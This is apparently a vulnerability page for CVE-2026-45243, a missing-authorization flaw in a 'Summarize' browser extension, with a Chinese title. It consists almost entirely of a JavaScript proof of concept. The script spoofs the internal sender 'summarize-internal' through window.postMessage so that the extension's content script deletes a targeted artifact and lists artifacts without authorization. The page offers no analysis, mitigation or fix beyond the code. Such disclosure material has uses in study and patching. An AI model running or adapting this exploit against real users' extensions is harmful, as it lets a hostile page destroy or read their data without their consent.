CVE-2026-45243 Summarize扩展授权缺失漏洞

// PoC for CVE-2026-45243: Missing Authorization in Summarize Extension // This script demonstrates how a malicious page could spoof messages to manipulate artifacts. // Target the vulnerable content script via window.postMessage function exploitSummarize() { console.log("[+] Attempting to exploit CVE-2026-45243..."); // Construct a malicious payload spoofing the internal sender const maliciousPayload = { sender: "summarize-internal", // Spoofed identifier type: "COMMAND", // Message type expected by the bridge action: "DELETE_ARTIFACT", // Unauthorized action data: { id: "target_artifact_id" // Target artifact } }; // Send the message to all listeners (targeting the extension) window.postMessage(maliciousPayload, "*"); // Attempt to list artifacts to verify access const listPayload = { sender: "summarize-internal", type: "COMMAND", action: "LIST_ARTIFACTS" }; window.postMessage(listPayload, "*"); } // Execute the exploit exploitSummarize();